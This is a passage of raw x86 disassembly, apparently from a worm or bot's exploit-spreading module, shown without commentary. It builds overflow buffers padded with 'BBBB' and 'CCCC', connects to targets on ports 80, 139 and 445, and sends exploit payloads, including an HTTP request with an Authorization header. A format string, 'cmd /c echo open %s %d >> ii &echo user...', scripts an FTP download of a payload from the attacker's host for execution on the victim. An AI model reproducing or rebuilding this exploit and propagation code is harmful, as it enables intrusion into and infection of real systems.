ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_402BF2 test al, al jz short loc_402C59 mov ecx, esi call sub_402C02 loc_402C59: ; CODE XREF: sub_402C3E+12j pop esi retn 8 sub_402C3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C5D proc near ; CODE XREF: sub_40345C+86p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_4029E9 mov edi, 408h cmp [ebp+arg_8], edi jg loc_402FB1 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_402FB1 push esi lea ecx, [ebp+var_30] call sub_4029E9 lea ecx, [ebp+var_20] call sub_4029E9 lea ecx, [ebp+var_50] call sub_4029E9 lea ecx, [ebp+var_18] call sub_4029E9 lea ecx, [ebp+var_40] call sub_4029E9 lea ecx, [ebp+var_38] call sub_4029E9 lea ecx, [ebp+var_28] call sub_4029E9 push 4 push offset dword_425644 lea ecx, [ebp+var_30] call sub_402BA1 push 3 push offset dword_42564C lea ecx, [ebp+var_30] call sub_402BA1 lea ecx, [ebp+var_30] call sub_402B27 lea ecx, [ebp+var_30] call sub_402C02 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_415500 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_402BA1 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_402BA1 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_402BA1 lea ecx, [ebp+var_20] call sub_402B27 push offset loc_4259CC lea ecx, [ebp+var_50] call sub_402BD5 lea ecx, [ebp+var_50] call sub_402B27 push esi lea eax, [ebp+var_858] push 44h push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_4029F3 lea ecx, [ebp+var_58] call sub_402B27 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_402C3E lea ecx, [ebp+var_58] call sub_402A82 push esi lea eax, [ebp+var_858] push 43h push eax call sub_415500 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_402BD5 push 4 push offset dword_425650 lea ecx, [ebp+var_18] call sub_402BA1 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_402BA1 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_402BA1 lea ecx, [ebp+var_18] call sub_402B27 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_402BF2 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_402BF2 lea ecx, [ebp+var_40] call sub_402C02 lea ecx, [ebp+var_18] call sub_402A82 lea ecx, [ebp+var_50] call sub_402A82 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_402BF2 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_402BF2 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_402BF2 lea ecx, [ebp+var_38] call sub_402C02 lea ecx, [ebp+var_20] call sub_402A82 lea ecx, [ebp+var_30] call sub_402A82 lea ecx, [ebp+var_40] call sub_402A82 push esi lea eax, [ebp+var_858] push 41h push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_402BA1 lea ecx, [ebp+var_28] call sub_402B27 push 2 push offset dword_4259C0 lea ecx, [ebp+var_28] call sub_402BA1 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_402BF2 lea ecx, [ebp+var_28] call sub_402C02 lea ecx, [ebp+var_38] call sub_402A82 lea ecx, [ebp+var_10] call sub_4029E9 lea ecx, [ebp+var_8] call sub_4029E9 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_402BF2 lea ecx, [ebp+var_10] call sub_402A9B lea ecx, [ebp+var_28] call sub_402A82 push offset dword_4259BC lea ecx, [ebp+var_8] call sub_402BD5 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402BF2 lea ecx, [ebp+var_8] call sub_402A9B lea ecx, [ebp+var_10] call sub_402A82 push offset dword_4259B8 lea ecx, [ebp+var_10] call sub_402BD5 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_402BF2 lea ecx, [ebp+var_10] call sub_402A9B lea ecx, [ebp+var_8] call sub_402A82 push offset dword_4259AC lea ecx, [ebp+var_8] call sub_402BD5 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402BF2 lea ecx, [ebp+var_8] call sub_402A9B lea ecx, [ebp+var_10] call sub_402A82 push offset dword_4259A8 lea ecx, [ebp+var_48] call sub_402BD5 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_402BF2 lea ecx, [ebp+var_8] call sub_402A82 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_402FBF ; --------------------------------------------------------------------------- loc_402FB1: ; CODE XREF: sub_402C5D+1Bj ; sub_402C5D+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_402FBF: ; CODE XREF: sub_402C5D+352j pop edi pop ebx leave retn sub_402C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FC3 proc near ; CODE XREF: sub_403087+A1p ; sub_403087+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4221F8 ; select cmp eax, edi jnz short loc_40302A lea eax, [ebp+var_10C] push eax push esi call sub_420B60 ; __WSAFDIsSet test eax, eax jnz short loc_40302E loc_40302A: ; CODE XREF: sub_402FC3+54j xor eax, eax jmp short loc_40303E ; --------------------------------------------------------------------------- loc_40302E: ; CODE XREF: sub_402FC3+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_436480 ; recv loc_40303E: ; CODE XREF: sub_402FC3+69j pop edi pop esi leave retn sub_402FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403042 proc near ; CODE XREF: sub_403087+81p ; sub_403087+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_436464 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_4364B8 ; send cmp eax, 4 jz short loc_40306C xor al, al leave retn ; --------------------------------------------------------------------------- loc_40306C: ; CODE XREF: sub_403042+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4364B8 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403042 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403087 proc near ; CODE XREF: sub_403161+48p ; sub_40345C+177p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415D2F mov esi, eax pop ecx test esi, esi jnz short loc_4030B0 xor al, al jmp loc_40315C ; --------------------------------------------------------------------------- loc_4030B0: ; CODE XREF: sub_403087+20j push ebx push 0 push esi call sub_415500 push 2Fh push offset dword_4256E0 push esi call sub_415560 push 8 lea eax, [esi+31h] push offset dword_425710 push eax mov [esi+2Fh], di call sub_415560 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_415560 push 6 add ebx, edi push offset dword_4325CC push ebx call sub_415560 mov ebx, [ebp+arg_0] push 85h push offset dword_425658 push ebx call sub_403042 add esp, 48h test al, al jnz short loc_403118 loc_403114: ; CODE XREF: sub_403087+B5j xor bl, bl jmp short loc_403153 ; --------------------------------------------------------------------------- loc_403118: ; CODE XREF: sub_403087+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402FC3 push [ebp+var_4] push esi push ebx call sub_403042 add esp, 1Ch test al, al jz short loc_403114 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_402FC3 add esp, 10h mov bl, 1 loc_403153: ; CODE XREF: sub_403087+8Fj push esi call sub_415DE1 pop ecx mov al, bl loc_40315C: ; CODE XREF: sub_403087+24j pop edi pop esi pop ebx leave retn sub_403087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403161 proc near ; CODE XREF: sub_40345C+15Dp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_42571C push [ebp+arg_0] call ds:dword_4221F4 ; send cmp eax, 48h jnz short loc_40319C push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_402FC3 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40319C cmp [ebp+var_20], 82h jz short loc_4031A0 loc_40319C: ; CODE XREF: sub_403161+1Bj ; sub_403161+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_4031A0: ; CODE XREF: sub_403161+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403087 add esp, 0Ch leave retn sub_403161 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031B3 proc near ; CODE XREF: sub_4031FF+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_422260 call sub_415F6C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_422258 fstp [esp+10h+var_10] call sub_415E4A fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_415F6C inc eax leave retn sub_4031B3 endp ; =============== S U B R O U T I N E ======================================= sub_4031FF proc near ; CODE XREF: sub_4033A1+24p var_40 = qword ptr -40h mov eax, offset loc_421203 call sub_416438 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_403834 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_4031B3 cmp [ebp-2Ch], eax pop ecx jnb short loc_403241 push edi push eax lea ecx, [ebp-38h] call sub_4037AF loc_403241: ; CODE XREF: sub_4031FF+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40335E mov ebx, [ebp+10h] loc_403250: ; CODE XREF: sub_4031FF+156j cmp dword ptr [ebp+10h], 3 jb short loc_40325A push 3 jmp short loc_40326C ; --------------------------------------------------------------------------- loc_40325A: ; CODE XREF: sub_4031FF+55j cmp dword ptr [ebp+10h], 2 jnz short loc_403264 push 2 jmp short loc_40326C ; --------------------------------------------------------------------------- loc_403264: ; CODE XREF: sub_4031FF+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40326D push 1 loc_40326C: ; CODE XREF: sub_4031FF+59j ; sub_4031FF+63j pop ebx loc_40326D: ; CODE XREF: sub_4031FF+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_422270 fstp [esp+40h+var_40] call sub_415F93 pop ecx pop ecx call sub_415F6C cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4032AC mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4032AC: ; CODE XREF: sub_4031FF+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40331A add [ebp-18h], eax loc_4032FE: ; CODE XREF: sub_4031FF+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, ds:byte_425768[eax] push eax push 1 call sub_403631 inc esi cmp esi, [ebp-1Ch] jb short loc_4032FE loc_40331A: ; CODE XREF: sub_4031FF+FAj cmp dword ptr [ebp-18h], 48h jb short loc_403338 push dword ptr [ebp+14h] call sub_415C80 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40368A mov [ebp-18h], edi loc_403338: ; CODE XREF: sub_4031FF+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_403352 sub esi, [ebp-1Ch] loc_403343: ; CODE XREF: sub_4031FF+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_403631 dec esi jnz short loc_403343 loc_403352: ; CODE XREF: sub_4031FF+13Fj cmp [ebp+10h], edi ja loc_403250 push 1 pop ebx loc_40335E: ; CODE XREF: sub_4031FF+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_403834 push ds:dword_422268 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_4036E1 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_403834 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_4031FF endp ; =============== S U B R O U T I N E ======================================= sub_4033A1 proc near ; CODE XREF: sub_40345C+140p mov eax, offset loc_421220 call sub_416438 sub esp, 10h push ebx push esi push edi push offset byte_4325D8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_4031FF mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_415D2F mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_4033EB xor bl, bl jmp short loc_40342F ; --------------------------------------------------------------------------- loc_4033EB: ; CODE XREF: sub_4033A1+44j mov ecx, [ebp-18h] mov eax, offset dword_422278 cmp ecx, ebx jnz short loc_4033F9 mov ecx, eax loc_4033F9: ; CODE XREF: sub_4033A1+54j cmp [ebp+18h], ebx jz short loc_403401 mov eax, [ebp+18h] loc_403401: ; CODE XREF: sub_4033A1+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_4159FA add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call ds:dword_4364B8 ; send cmp eax, esi jz short loc_403426 xor bl, bl jmp short loc_403428 ; --------------------------------------------------------------------------- loc_403426: ; CODE XREF: sub_4033A1+7Fj mov bl, 1 loc_403428: ; CODE XREF: sub_4033A1+83j push edi call sub_415DE1 pop ecx loc_40342F: ; CODE XREF: sub_4033A1+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_403834 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_403834 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4033A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40345C proc near ; CODE XREF: sub_405DAD+1EAp ; DATA XREF: _2:off_426624o var_420 = byte ptr -420h var_41F = byte ptr -41Fh var_391 = byte ptr -391h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 420h and [ebp+var_420], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_41F] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_420] push offset sub_425914 push eax call sub_415560 add esp, 0Ch mov eax, offset byte_42AD8C push eax push eax push ds:dword_4325E0 push [ebp+arg_0] call sub_409526 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_391] push 400h push eax call sub_4159FA add eax, 90h push eax lea eax, [ebp+var_420] push eax push 164h lea eax, [ebp+var_8] push offset sub_4257AC push eax call sub_402C5D xor esi, esi add esp, 30h cmp [ebp+var_4], esi jnz short loc_4034F8 xor eax, eax jmp loc_403624 ; --------------------------------------------------------------------------- loc_4034F8: ; CODE XREF: sub_40345C+93j mov [ebp+var_C], esi loc_4034FB: ; CODE XREF: sub_40345C+19Fj test esi, esi jnz loc_403601 push 6 push 1 push 2 call ds:dword_422200 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4035E9 xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call ds:dword_436468 ; htons mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call ds:dword_4364A8 ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call ds:dword_436410 ; connect cmp eax, 0FFFFFFFFh jz loc_4035DE cmp [ebp+arg_A0], 50h jnz short loc_4035A6 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_403834 lea eax, [ebp+arg_4] push eax call sub_415C80 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_403870 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4033A1 add esp, 1Ch jmp short loc_4035DB ; --------------------------------------------------------------------------- loc_4035A6: ; CODE XREF: sub_40345C+108j cmp [ebp+arg_A0], 8Bh jnz short loc_4035C0 push [ebp+var_4] push [ebp+var_8] push ebx call sub_403161 jmp short loc_4035D8 ; --------------------------------------------------------------------------- loc_4035C0: ; CODE XREF: sub_40345C+154j cmp [ebp+arg_A0], 1BDh jnz short loc_4035DE push [ebp+var_4] push [ebp+var_8] push ebx call sub_403087 loc_4035D8: ; CODE XREF: sub_40345C+162j add esp, 0Ch loc_4035DB: ; CODE XREF: sub_40345C+148j movzx esi, al loc_4035DE: ; CODE XREF: sub_40345C+FBj ; sub_40345C+16Ej push ebx call ds:dword_436500 ; closesocket test esi, esi jnz short loc_4035F4 loc_4035E9: ; CODE XREF: sub_40345C+B8j push 3E8h call ds:dword_422054 ; Sleep loc_4035F4: ; CODE XREF: sub_40345C+18Bj inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_4034FB loc_403601: ; CODE XREF: sub_40345C+A1j lea ecx, [ebp+var_8] call sub_402A82 test esi, esi jz short loc_403622 mov eax, [ebp+arg_A8] imul eax, 3Ch inc ds:dword_426628[eax] lea eax, dword_426628[eax] loc_403622: ; CODE XREF: sub_40345C+1AFj mov eax, esi loc_403624: ; CODE XREF: sub_40345C+97j pop edi pop esi pop ebx leave retn sub_40345C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4211E4 loc_403629: ; CODE XREF: sub_4211E4+3j ; _0:004211FDj ... push 1 call sub_403834 retn ; END OF FUNCTION CHUNK FOR sub_4211E4 ; =============== S U B R O U T I N E ======================================= sub_403631 proc near ; CODE XREF: sub_4031FF+110p ; sub_4031FF+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_422268 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40364B call sub_420AAA loc_40364B: ; CODE XREF: sub_403631+13j test ebx, ebx jbe short loc_403682 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4037AF test al, al jz short loc_403682 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_415500 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_403682: ; CODE XREF: sub_403631+1Cj ; sub_403631+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_403631 endp ; =============== S U B R O U T I N E ======================================= sub_40368A proc near ; CODE XREF: sub_4031FF+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_422268 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4036A4 call sub_420AAA loc_4036A4: ; CODE XREF: sub_40368A+13j test ebx, ebx jbe short loc_4036D9 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4037AF test al, al jz short loc_4036D9 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_415560 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_4036D9: ; CODE XREF: sub_40368A+1Cj ; sub_40368A+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40368A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036E1 proc near ; CODE XREF: sub_4031FF+17Cp ; sub_4209C0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_4036F9 call sub_420983 loc_4036F9: ; CODE XREF: sub_4036E1+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40370B mov esi, [ebp+arg_8] loc_40370B: ; CODE XREF: sub_4036E1+25j cmp edi, ebx jnz short loc_40372D push ds:dword_422268 add esi, ecx mov ecx, edi push esi call sub_4038A5 push [ebp+arg_4] mov ecx, edi push 0 call sub_4038A5 jmp short loc_4037A6 ; --------------------------------------------------------------------------- loc_40372D: ; CODE XREF: sub_4036E1+2Cj test esi, esi jbe short loc_403770 cmp esi, eax jnz short loc_403770 mov eax, [ebx+4] test eax, eax jnz short loc_403741 mov eax, offset dword_422278 loc_403741: ; CODE XREF: sub_4036E1+59j cmp byte ptr [eax-1], 0FEh jnb short loc_403770 push 1 mov ecx, edi call sub_403834 mov eax, [ebx+4] test eax, eax jnz short loc_40375C mov eax, offset dword_422278 loc_40375C: ; CODE XREF: sub_4036E1+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4037A6 ; --------------------------------------------------------------------------- loc_403770: ; CODE XREF: sub_4036E1+4Ej ; sub_4036E1+52j ... push 1 push esi mov ecx, edi call sub_4037AF test al, al jz short loc_4037A6 mov eax, [ebx+4] test eax, eax jnz short loc_40378A mov eax, offset dword_422278 loc_40378A: ; CODE XREF: sub_4036E1+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_415560 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4037A6: ; CODE XREF: sub_4036E1+4Aj ; sub_4036E1+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_4036E1 endp ; =============== S U B R O U T I N E ======================================= sub_4037AF proc near ; CODE XREF: sub_4031FF+3Dp ; sub_403631+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4037C1 call sub_420AAA loc_4037C1: ; CODE XREF: sub_4037AF+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_4037EA mov al, [ecx-1] cmp al, dl jz short loc_4037EA cmp al, 0FFh jz short loc_4037EA cmp edi, edx jnz short loc_403825 dec al push edx mov [ecx-1], al loc_4037DF: ; CODE XREF: sub_4037AF+47j mov ecx, esi call sub_403834 loc_4037E6: ; CODE XREF: sub_4037AF+4Bj ; sub_4037AF+52j xor al, al jmp short loc_40382F ; --------------------------------------------------------------------------- loc_4037EA: ; CODE XREF: sub_4037AF+19j ; sub_4037AF+20j ... cmp edi, edx jnz short loc_403803 cmp [esp+8+arg_4], dl jz short loc_4037F8 push 1 jmp short loc_4037DF ; --------------------------------------------------------------------------- loc_4037F8: ; CODE XREF: sub_4037AF+43j cmp ecx, edx jz short loc_4037E6 mov [esi+8], edx mov [ecx], dl jmp short loc_4037E6 ; --------------------------------------------------------------------------- loc_403803: ; CODE XREF: sub_4037AF+3Dj cmp [esp+8+arg_4], dl jz short loc_403820 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_403815 cmp eax, edi jnb short loc_40382D loc_403815: ; CODE XREF: sub_4037AF+60j push 1 mov ecx, esi call sub_403834 jmp short loc_403825 ; --------------------------------------------------------------------------- loc_403820: ; CODE XREF: sub_4037AF+58j cmp [esi+0Ch], edi jnb short loc_40382D loc_403825: ; CODE XREF: sub_4037AF+28j ; sub_4037AF+6Fj push edi mov ecx, esi call sub_40390C loc_40382D: ; CODE XREF: sub_4037AF+64j ; sub_4037AF+74j mov al, 1 loc_40382F: ; CODE XREF: sub_4037AF+39j pop edi pop esi retn 8 sub_4037AF endp ; =============== S U B R O U T I N E ======================================= sub_403834 proc near ; CODE XREF: sub_4031FF+1Fp ; sub_4031FF+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_403860 mov eax, [esi+4] test eax, eax jz short loc_403860 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_403859 cmp al, 0FFh jz short loc_403859 dec al mov [ecx], al jmp short loc_403860 ; --------------------------------------------------------------------------- loc_403859: ; CODE XREF: sub_403834+19j ; sub_403834+1Dj push ecx call sub_416457 pop ecx loc_403860: ; CODE XREF: sub_403834+8j ; sub_403834+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_403834 endp ; =============== S U B R O U T I N E ======================================= sub_403870 proc near ; CODE XREF: sub_40345C+134p ; sub_4039C9+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4037AF test al, al jz short loc_40389E push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_415560 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40389E: ; CODE XREF: sub_403870+12j mov eax, esi pop edi pop esi retn 8 sub_403870 endp ; =============== S U B R O U T I N E ======================================= sub_4038A5 proc near ; CODE XREF: sub_4036E1+39p ; sub_4036E1+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4038B8 call sub_420983 loc_4038B8: ; CODE XREF: sub_4038A5+Cj mov ecx, edi call sub_4039C9 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_4038CE mov ebx, eax loc_4038CE: ; CODE XREF: sub_4038A5+25j test ebx, ebx jbe short loc_403904 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_416470 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4037AF test al, al jz short loc_403904 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_403904: ; CODE XREF: sub_4038A5+2Bj ; sub_4038A5+53j mov eax, edi pop edi 